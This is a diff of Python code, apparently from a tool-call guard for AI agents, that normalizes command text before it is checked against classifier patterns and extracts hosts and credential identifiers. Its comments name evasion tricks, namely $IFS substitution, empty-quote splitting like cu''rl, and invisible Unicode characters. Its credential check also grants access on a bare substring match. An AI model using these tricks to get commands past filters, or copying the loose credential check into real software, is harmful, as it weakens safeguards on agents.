# joiner/invisible operators, U+FEFF BOM.
|
|
156
|
+
_INVISIBLE_FORMAT_CHARS = re.compile(
|
|
157
|
+
"[\u00AD\u200B-\u200F\u202A-\u202E\u2060-\u2064\uFEFF]"
|
|
158
|
+
)
|
|
159
|
+
|
|
160
|
+
|
|
161
|
+
def _strip_invisible_format_chars(text: str) -> str:
|
|
162
|
+
return _INVISIBLE_FORMAT_CHARS.sub("", text)
|
|
163
|
+
|
|
164
|
+
# $IFS / ${IFS} (optionally with a positional-parameter suffix like $9) is a well-known shell
|
|
165
|
+
# field-separator substitution attackers use in place of a literal space specifically to dodge
|
|
166
|
+
# whitespace-based pattern matching, without changing what the shell actually executes.
|
|
167
|
+
_IFS_SEPARATOR = re.compile(r"\$\{?IFS\}?(\$\d+)?", re.IGNORECASE)
|
|
168
|
+
|
|
169
|
+
|
|
170
|
+
def _collapse_empty_quote_pairs(text: str) -> str:
|
|
171
|
+
"""An adjacent pair of matching quote characters ('' or "") contributes nothing to what a
|
|
172
|
+
POSIX shell actually runs, but it does break a naive literal-substring match. Collapsed
|
|
173
|
+
here, repeatedly, so stacked pairs are fully removed."""
|
|
174
|
+
current = text
|
|
175
|
+
previous = None
|
|
176
|
+
while current != previous:
|
|
177
|
+
previous = current
|
|
178
|
+
current = re.sub(r"(['\"])\1", "", current)
|
|
179
|
+
return current
|
|
180
|
+
|
|
181
|
+
|
|
182
|
+
def normalize_for_match(text: str) -> str:
|
|
183
|
+
"""Normalizes free-form command/argument text before it is matched against a classifier
|
|
184
|
+
pattern. Does not change what actually gets executed -- it only closes the gap between
|
|
185
|
+
"what the shell will run" and "what a literal regex sees" for a handful of well-known
|
|
186
|
+
obfuscation tricks: Unicode confusables/invisible characters, $IFS-as-space substitution,
|
|
187
|
+
and empty-quote-pair token splitting (cu''rl, r""m)."""
|
|
188
|
+
normalized = unicodedata.normalize("NFKC", text)
|
|
189
|
+
normalized = _strip_invisible_format_chars(normalized)
|
|
190
|
+
normalized = _IFS_SEPARATOR.sub(" ", normalized)
|
|
191
|
+
normalized = _collapse_empty_quote_pairs(normalized)
|
|
192
|
+
normalized = re.sub(r"\\([A-Za-z0-9])", r"\1", normalized)
|
|
193
|
+
return normalized
|
|
194
|
+
|
|
195
|
+
|
|
196
|
+
# Maximum object/array nesting depth find_nested_host will descend into. Bounds the search
|
|
197
|
+
# against pathological or absurdly nested argument payloads.
|
|
198
|
+
_MAX_HOST_SEARCH_DEPTH = 8
|
|
199
|
+
|
|
200
|
+
|
|
201
|
+
def _find_nested_host(value: Any, depth: int = 0) -> Optional[str]:
|
|
202
|
+
"""Depth-first search for the first HOST_KEYS-named string value anywhere inside a nested
|
|
203
|
+
argument bag, so a host/URL buried inside a nested payload is still found."""
|
|
204
|
+
if value is None or depth > _MAX_HOST_SEARCH_DEPTH:
|
|
205
|
+
return None
|
|
206
|
+
|
|
207
|
+
if isinstance(value, list):
|
|
208
|
+
for item in value:
|
|
209
|
+
found = _find_nested_host(item, depth + 1)
|
|
210
|
+
if found:
|
|
211
|
+
return found
|
|
212
|
+
return None
|
|
213
|
+
|
|
214
|
+
if isinstance(value, dict):
|
|
215
|
+
direct = _first_string(value, _HOST_KEYS)
|
|
216
|
+
if direct:
|
|
217
|
+
return direct
|
|
218
|
+
for nested in value.values():
|
|
219
|
+
if isinstance(nested, (dict, list)):
|
|
220
|
+
found = _find_nested_host(nested, depth + 1)
|
|
221
|
+
if found:
|
|
222
|
+
return found
|
|
223
|
+
|
|
224
|
+
return None
|
|
225
|
+
|
|
226
|
+
|
|
227
|
+
_URL_PATTERN = re.compile(r"https?://[^\s\"'|]+", re.IGNORECASE)
|
|
228
|
+
|
|
229
|
+
|
|
230
|
+
def extract_candidate_host(args: Mapping[str, Any]) -> Optional[str]:
|
|
231
|
+
"""Pulls a candidate network host out of an explicit host/url argument -- checked at the
|
|
232
|
+
top level first, then recursively through nested objects/arrays -- or otherwise scans a
|
|
233
|
+
shell-command-like string for the first http(s):// URL. Returns a normalized hostname."""
|
|
234
|
+
explicit = extract_host(args) or _find_nested_host(args)
|
|
235
|
+
if explicit:
|
|
236
|
+
return normalize_host(normalize_for_match(explicit))
|
|
237
|
+
|
|
238
|
+
command = normalize_for_match(extract_command(args) or stringify_args(args))
|
|
239
|
+
url_match = _URL_PATTERN.search(command)
|
|
240
|
+
if url_match:
|
|
241
|
+
return normalize_host(url_match.group(0))
|
|
242
|
+
return None
|
|
243
|
+
|
|
244
|
+
|
|
245
|
+
def extract_credential_identifier(args: Mapping[str, Any]) -> Optional[str]:
|
|
246
|
+
"""Extracts whichever resource identifier a credential-scoped call is targeting -- an
|
|
247
|
+
explicit credential/secret name if the tool provides one, otherwise the filesystem path."""
|
|
248
|
+
return extract_credential_name(args) or extract_path(args)
|
|
249
|
+
|
|
250
|
+
|
|
251
|
+
def is_credential_granted(identifier: str, credentials: Sequence[str]) -> bool:
|
|
252
|
+
"""Whether ``identifier`` (a path or a named credential) matches an entry in
|
|
253
|
+
``credentials`` -- exact match, a trailing path segment match, or a substring match."""
|
|
254
|
+
lower = identifier.lower()
|
|
255
|
+
for granted in credentials:
|
|
256
|
+
g = granted.lower()
|
|
257
|
+
if lower == g or lower.endswith(f"/{g}") or g in lower:
|
|
258
|
+
return True
|
|
259
|
+
return False
|